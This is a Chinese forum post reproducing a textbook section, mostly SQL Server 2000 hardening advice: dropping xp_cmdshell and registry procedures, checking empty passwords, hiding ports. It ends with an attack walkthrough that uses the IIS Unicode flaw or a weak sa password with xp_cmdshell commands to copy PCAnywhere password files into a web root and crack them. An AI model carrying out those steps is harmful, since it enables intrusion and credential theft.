8.去掉不需要的注册表访问过程,如下: Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite 9.去掉其他系统存储过程,如果你认为你觉得你还有威胁,当然要小心Drop这些过程,你可以在测试机器上测试,保证你正常的系统能完成工作,这些过程包括: sp_bindsessionsp_cursorsp_cursorclose sp_cursorfetchsp_cursoropen sp_cursoroption sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte sp_OACreate sp_OADestroysp_OAGetErrorInfo sp_OAGetProperty sp_OAMethodsp_OASetProperty sp_OAStopsp_replcmdssp_replcounters sp_repldonesp_replflushsp_replstatus sp_repltranssp_sdidebugxp_availablemedia xp_cmdshellxp_deletemailxp_dirtree xp_dropwebtaskxp_dsninfoxp_enumdsn xp_enumerrorlogs xp_enumgroupsxp_enumqueuedtasks xp_eventlogxp_findnextmsgxp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logeventxp_loginconfigxp_logininfo xp_makewebtaskxp_msver xp_perfend xp_perfmonitorxp_perfsamplexp_perfstart xp_readerrorlogxp_readmailxp_revokelogin xp_runwebtaskxp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintfxp_sqlinventoryxp_sqlregister xp_sqltracexp_sscanfxp_startmail xp_stopmailxp_subdirsxp_unc_to_drive 10.去掉数据库中guest用户。 11.关闭SQL MAIL兼容能力,防止传递一些木马病毒等。 12.设置一个任务处理来定时运行下面的程序: findstr /C:“Login Failed” \mssql7\log\*.*‘ 再重定向到其它文件或者MAIL到管理员信箱。 13. 经常检查带有空密码的账户: Use master Select name, Password from syslogins where password is null order by name 14.检查所有不需要“sa”权限的存储过程和扩展存储过程访问权限: Use master Select sysobjects.name From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN (‘X‘,‘P‘) AND sysobjects.id = sysprotects.id Order by name 15.保证SQL Server的传输信息在隔离的网络段中。 5.6.5 SQL Server 2000的安全配置 微软的SQL Server是一种广泛使用的数据库,很多电子商务网站、企业内部信息化平台等都是基于SQL Server上的,但是数据库的安全性还没有被人们更系统的安全性等同起来,多数管理员认为只要把网络和操作系统的安全搞好了,那么所有的应用程序也就安全了。大多数系统管理员对数据库不熟悉而数据库管理员有对安全问题关心太少,而且一些安全公司也忽略数据库安全,这就使数据库的安全问题更加严峻了。数据库系统中存在的安全漏洞和不当的配置通常会造成严重的后果,而且都难以发现。数据库应用程序通常同操作系统的最高管理员密切相关。广泛SQL Server数据库又是属于“端口”型的数据库,这就表示任何人都能够用分析工具试图连接到数据库上,从而绕过操作系统的安全机制,进而闯入系统、破坏和窃取数据资料,甚至破坏整个系统。 这里,我们主要谈论有关SQL Server2000数据库的安全配置以及一些相关的安全和使用上的问题。 在进行SQL Server 2000数据库的安全配置之前,首先你必须对操作系统进行安全配置,保证你的操作系统处于安全状态。然后对你要使用的操作数据库软件(程序)进行必要的安全审核,比如对ASP、PHP等脚本,这是很多基于数据库的WEB应用常出现的安全隐患,对于脚本主要是一个过滤问题,需要过滤一些类似,‘ ; @ / 等字符,防止破坏者构造恶意的SQL语句。接着,安装SQL Server2000后请打上补丁sp1以及最新的sp2。 下载地址是:http://www.microsoft.com/sql/downloads/2000/sp1.asp 和 http://www.microsoft.com/sql/downloads/2000/sp2.asp 在做完上面三步基础之后,我们再来讨论SQL Server的安全配置。 1.使用安全的密码策略 我们把密码策略摆在所有安全配置的第一步,请注意,很多数据库账号的密码过于简单,这跟系统密码过于简单是一个道理。对于sa更应该注意,同时不要让sa账号的密码写于应用程序或者脚本中。健壮的密码是安全的第一步! SQL Server2000安装的时候,如果是使用混合模式,那么就需要输入sa的密码,除非你确认必须使用空密码。这比以前的版本有所改进。 同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的账号。比如使用下面的SQL语句: Use master Select name,Password from syslogins where password is null 2.使用安全的账号策略 由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个账号进行最强的保护,当然,包括使用一个非常强壮的密码,最好不要在数据库应用中使用sa账号,只有当没有其它方法登录到 SQL Server 实例(例如,当其它系统管理员不可用或忘记了密码)时才使用 sa。建议数据库管理员新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的账号策略还包括不要让管理员权限的账号泛滥。 SQL Server的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员来通过操作系统登陆来接触数据库的话,可以在账号管理中把系统账号“BUILTIN\Administrators”删除。不过这样做的结果是一旦sa账号忘记密码的话,就没有办法来恢复了。 很多主机使用数据库应用只是用来做查询、修改等简单功能的,请根据实际需要分配账号,并赋予仅仅能够满足应用要求和需要的权限。比如,只要查询功能的,那么就使用一个简单的public账号能够select就可以了。 3.加强数据库日志的记录 审核数据库登录事件的“失败和成功”,在实例属性中选择“安全性”,将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有账号的登录事件。 请定期查看SQL Server日志检查是否有可疑的登录事件发生,或者使用DOS命令。 findstr /C:“登录” d:\Microsoft SQL Server\MSSQL\LOG\*.* 4.管理扩展存储过程 对存储过程进行大手术,并且对账号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。 如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句: use master sp_dropextendedproc ‘xp_cmdshell‘ xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。 sp_addextendedproc ‘xp_cmdshell‘, ‘xpsql70.dll‘ 如果你不需要请丢弃OLE自动存储过程(会造成管理器中的某些特征不能使用),这些过程包括如下: Sp_OACreateSp_OADestroySp_OAGetErrorInfoSp_OAGetProperty Sp_OAMethodSp_OASetPropertySp_OAStop 去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来,如下: Xp_regaddmultistringXp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite 还有一些其他的扩展存储过程,你也最好检查检查。 在处理存储过程的时候,请确认一下,避免造成对数据库或应用程序的伤害。 5.使用协议加密 SQL Server 2000使用的Tabular Data Stream协议来进行网络数据交换,如果不加密的话,所有的网络传输都是明文的,包括密码、数据库内容等等,这是一个很大的安全威胁。能被人在网络中截获到他们需要的东西,包括数据库账号和密码。所以,在条件容许情况下,最好使用SSL来加密协议,当然,你需要一个证书来支持。 6.不要让人随便探测到你的TCP/IP端口 默认情况下,SQL Server使用1433端口监听,很多人都说SQL Server配置的时候要把这个端口改变,这样别人就不能很容易地知道使用的什么端口了。可惜,通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的什么TCP/IP端口了。 不过微软还是考虑到了这个问题,毕竟公开而且开放的端口会引起不必要的麻烦。在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。如果隐藏了 SQL Server 实例,则将禁止对试图枚举网络上现有的 SQL Server 实例的客户端所发出的广播作出响应。这样,别人就不能用1434来探测你的TCP/IP端口了(除非用Port Scan)。 7.修改TCP/IP使用的端口 请在上一步配置的基础上,更改原默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性,将TCP/IP使用的默认端口变为其它端口。 8.拒绝来自1434端口的探测 由于1434端口探测没有限制,能够被别人探测到一些数据库信息,而且还可能遭到DOS攻击让数据库服务器的CPU负荷增大,所以对Windows 2000操作系统来说,在IPSec过滤拒绝掉1434端口的UDP通讯,可以尽可能地隐藏你的SQL Server。 9.对网络连接进行IP限制 SQL Server 2000数据库系统本身没有提供网络连接的安全解决办法,但是Windows 2000提供了这样的安全机制。使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制,只保证自己的IP能够访问,也拒绝其他IP进行的端口连接,把来自网络上的安全威胁进行有效的控制。 关于IPSec的使用请参看:http://www.microsoft.com/china/technet/security/ipsecloc.asp 上面主要介绍的一些SQL Server的安全配置,经过以上的配置,可以让SQL Server本身具备足够的安全防范能力。当然,更主要的还是要加强内部的安全控制和管理员的安全培训,而且安全性问题是一个长期的解决过程,还需要以后进行更多的安全维护。 5.6.6 远程控制软件PCanywhere的安全问题 由于NT的机器一般使用PCAnyWhere进行远程管理,而Win2000的机器一般使用了终端进行远程管理,因此如果能够得到PCAnyWhere远程连接的账号和密码,那么就能远程连接到主机。 问题的关键就是要得到PCAnyWhere的密码文件(*.CIF),然后使用PCanyWhere密码查看工具(http://www.csdn.net/soft/openfile.aspkind=2&id=7824)便可以取得账号和密码。 PCAnyWhere服务端使用5631端口,可以使用: Telnet 10.10.10.10 5631 确定远程主机的PCAnyWhere服务端是否开启动。 下面介绍两种方法去得到PCAnyWhere的密码文件: 方法一 : 使用Unicode漏洞+PCanyWhere密码查看工具 下面将使用Unicode工具演示如何使用Unicode漏洞来得到PCAnyWhere的密码文件(*.CIF)。 具体步骤: 1.找到主机上的*.CIF文件 2.使用dir c:*.cif /s命令: 3.一般Citempl.cif为系统默认的密码文件,因此我们需要SA.CIF文件。 4.复制该文件到网站目录下。 5.需要知道网站目录,可以通过Ida,Idq漏洞进行得到,也可以去寻找网站中的一个图片文件,比如Tscontent.gif文件,然后去查找该文件:使用命令 dir c: Tscontent.gif /s 知道目录后,比如为c:\inetpub\wwwroot,密码文件所在目录:c:\Program Files\pcANYWHEREDATA 下面执行Copy命令: 显示1 file(s) copied,就表示复制成功了。 6.使用IE下载该文件:使用http://1.1.1.1/sa.cif就可以下载该文件了。 7.使用PCanyWhere密码查看工具得到用户名和密码。 8.远程连接。 方法二 : 使用SQLServer+ PCanyWhere密码查看工具工具 由于有些网站的SQLServer的Sa密码一般为空,或者为“Sa”,也可能和域名相同,如果远程连接到主机的数据库中,同样可以得到密码文件: 方法如下: 使用: XP_Cmdshell ‘dir c:*.cif /s‘ 找到密码文件,然后复制到网站目录下: XP_Cmdshell ‘copy c:\pcanywheresa.cif c:\inetpub\wwwroot‘ 然后下载,得到用户名和密码。 |
|
ruanshitao =化零为整= 积分:6 贴数:8 |
太长了啊 |
gumper![]() =八面玲珑= 职务:观察员 积分:4298 贴数:4244 |
呵呵,理论结合实际,俺喜欢 |
areone![]() =八面玲珑= 职务:观察员 积分:1739 贴数:1093 |
谢谢,我还发了几篇连载一,到连载四。我还将多发几篇好点的。希望大家支持我。 |
cxxl![]() =化零为整= 积分:87 贴数:28 |
收了慢慢看, |
| 返回《黑客零起点精华》 快速返回 | |
|
| |
|
|
如果您想发帖,请先注册或登录!
| Copyright © 2006 Patching.net All rights reserved. |